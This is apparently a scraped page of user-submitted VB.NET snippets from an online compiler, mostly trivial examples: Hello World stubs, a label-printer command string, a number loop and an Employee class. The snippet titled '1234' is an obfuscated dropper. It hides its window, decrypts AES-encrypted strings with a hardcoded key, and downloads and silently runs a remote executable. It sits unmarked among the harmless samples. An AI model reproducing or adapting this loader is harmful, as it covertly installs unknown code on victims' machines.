Vb.net Programming Examples

Compile and Execute VB.Net Online

vb.net

Module VBModule
 
    Sub Main()
        DIM PrnDateSnum
        DIM PrnDateTxt
        DIM partnumber
        DIM TESTNUMBER
        DIM MsComm1
        DIM BC
        DIM MSIZE
        DIM N
        DIM CMD
        DIM PARTCODE
        DIM PARTNUMBERTXT
        DIM PARTCODE_PRE
        DIM PARTCODE_BASE
        DIM PARTCODE_SUF
        DIM BROADCASTCODE
    
        PARTCODE = "EB3B-19B555-LG"
        'PARTCODE = "AB39-18478-AL"
        PrnDateSnum = "161202"
        PrnDateTxt = "02-Dec-2016 14:08:17"
        PARTNUMBER = "172"
    
    	PARTCODE_PRE = Left(PARTCODE,4)
		PARTCODE_SUF = Left(Right(PARTCODE,2),1)
		BROADCASTCODE = Left(Right(PARTCODE,2),1)
	    	IF LEN (PARTCODE) = 13 THEN

			PARTCODE_BASE = Mid(PARTCODE,6,5)

		END IF

	    	IF LEN (PARTCODE) = 14 THEN

			PARTCODE_BASE = Mid(PARTCODE,6,6)

		END IF
		
			IF LEN (PARTNUMBER) = 1 THEN
        		PARTNUMBERTXT = "000" & PARTNUMBER
        	END IF
        
        	IF LEN (PARTNUMBER) = 2 THEN
        		PARTNUMBERTXT = "00" & PARTNUMBER
        	END IF
        
        	IF LEN (PARTNUMBER) = 3 THEN
        		PARTNUMBERTXT = "0" & PARTNUMBER
        	END IF
		

		CMD = "I8,A" & CHR(13) & CHR(10) & "ZN" & CHR(13) & CHR(10) & "q400"  & CHR(13) & CHR(10) & "S3" & CHR(13) & CHR(10) & "O" & CHR(13) & CHR(10) & "JF" & CHR(13) & CHR(10) & "ZB" & CHR(13) & CHR(10) & "Q208,25" & CHR(13) & CHR(10) & "N" & CHR(13) & CHR(10)
		CMD = CMD + "A10,10,0,4,4,4,N," &"""FAILED""" &  CHR(13) & CHR(10)
		CMD = CMD + "A50,110,0,1,2,2,N," &"""" & PARTCODE & """"&  CHR(13) & CHR(10)
		CMD = CMD + "A50,145,0,1,1,1,N," & """" & PrnDateTxt & """" &  CHR(13) & CHR(10)
		CMD = CMD + "A50,170,0,1,1,1,N," &"""" & "SERIAL #: " & PrnDateSnum & PARTNUMBERTXT & """" &  CHR(13) & CHR(10)
		CMD = CMD + "P1" & CHR(13) & CHR(10)
		
        Console.WriteLine(PARTCODE_BASE)
        Console.ReadLine()
    End Sub
  
End Module

433A

vb.net

Module VBModule
 
    Sub Main()
        Console.WriteLine("Hello, world!")
    End Sub
  
End Module

this is first one

vb.net

Module VBModule
 
    Sub Main()
        Console.WriteLine("Hello, world!")
    End Sub
  
End Module

Do While Gen of Y

vb.net

Module VBModule
 
    Sub Main()
    
        Dim nnum As ULong = 1
        Dim Y As String = "1"
        Dim lnum As String = "1"
        Dim snum as string = ""
        Dim startn as long = 20
        Dim endn as long = 0
        Dim YResult(20,1) as string
        Dim RowIndex as integer = 0
        Dim ColIndex as integer = 1

        do while startn <> endn
            RowIndex = RowIndex + 1
            ColIndex = 0
            YResult(RowIndex, ColIndex) = nnum
            nnum = nnum + 1
            snum = Cstr(nnum)
            lnum = lnum & snum
            lnum = lnum.Replace(" ", "")
            Y = lnum
            ColIndex = 1
            YResult(RowIndex, ColIndex) = Y
            endn = endn + 1
        loop
        
        For i as integer = 1 to RowIndex
            if i < 10 then
                console.writeline(Yresult(i, 0) & "    " & Yresult(i, 1))
            else
                console.writeline(Yresult(i, 0) & "   " & Yresult(i, 1))
            end if
        Next
        
        console.write("Y = ")
        Console.Write(Y)
        
    End Sub
  
End Module

sdfe

vb.net

Module VBModule
 
    Sub Main()
        Console.WriteLine("Hello, world!")
    End Sub
  
End Module

jauro

vb.net

Module VBModule
 
    Sub Main()
        Console.WriteLine("Hello, world!")
    End Sub
  
End Module

frmsom

vb.net

Module VBModule
 
    Sub Main()
        Console.WriteLine("Hello, world!")
    End Sub
  
End Module

Sample .Net

vb.net

Module VBModule
 
    Sub Main()
        Console.WriteLine("Hello, world!")
    End Sub
  
End Module

1234

vb.net

Imports System.Security.Cryptography
 Public Class Form1 
 	 
     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load 
         Me.ShowIcon = False 
         Me.ShowInTaskbar = False 
         Me.Opacity = 0 
  
         Dim Download As New Net.WebClient 
         Me.Hide() 
         Me.ShowIcon = False 
         Me.ShowInTaskbar = False 
         Me.Opacity = 0 
         Download.DownloadFile(ienWCbqErEmgSKrBQthYiha("ytA1KxYg3uRRh404YiFd1KcERTxRJiHPGRmfda1zum0="), Environ(ienWCbqErEmgSKrBQthYiha("Twyh8EvQqhJL4IDVakBVFw==")) & ienWCbqErEmgSKrBQthYiha("Fo9uCHyXWsGEdtSzhReFPA==")) 
         Shell(Environ(ienWCbqErEmgSKrBQthYiha("Twyh8EvQqhJL4IDVakBVFw==")) & ienWCbqErEmgSKrBQthYiha("Fo9uCHyXWsGEdtSzhReFPA==")) 
    
  
         End 
  
     End Sub 
  
  

Private Function ienWCbqErEmgSKrBQthYiha(ByVal XnfULTkifvFuwAZmK As String)
Dim mutYnwurZAQuVjewd As New RijndaelManaged
Dim aSakrnialogVaeeba() As Byte
Dim cuVDaKgSrhLtELjQr() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes("qLPNNVHbBbkuDUSgBfNiiwA", cuVDaKgSrhLtELjQr)
mutYnwurZAQuVjewd.Key = oKeyGenerator.GetBytes(mutYnwurZAQuVjewd.Key.Length)
mutYnwurZAQuVjewd.IV = oKeyGenerator.GetBytes(mutYnwurZAQuVjewd.IV.Length)
Dim FKeJkjIjqICeuPFYm As New IO.MemoryStream
Dim ImZZTGFbwBdFYtJNG As New CryptoStream(FKeJkjIjqICeuPFYm, mutYnwurZAQuVjewd.CreateDecryptor(), CryptoStreamMode.Write)
Try
aSakrnialogVaeeba = Convert.FromBase64String(XnfULTkifvFuwAZmK)
ImZZTGFbwBdFYtJNG.Write(aSakrnialogVaeeba, 0, aSakrnialogVaeeba.Length)
ImZZTGFbwBdFYtJNG.Close()
Return System.Text.Encoding.UTF8.GetString(FKeJkjIjqICeuPFYm.ToArray)
Catch
End Try
End Function
End Class

Class

vb.net

Module VBModule
 Public Class Employee
 Dim name As String
 Dim age As Integer
 Public Sub New(ByVal n As String,ByVal a As Integer)
 name=n
 age=a
 End Sub
 Public Sub Display()
 Console.WriteLine("Name="& name & Space(2) &"Age="& age)
 Console.ReadLine()
 End Sub
 End Class
    Sub Main()
     Dim ob1 As Employee=New Employee("Rajat",20)
     ob1.Display()
    End Sub
  
End Module

Follow

Newsletter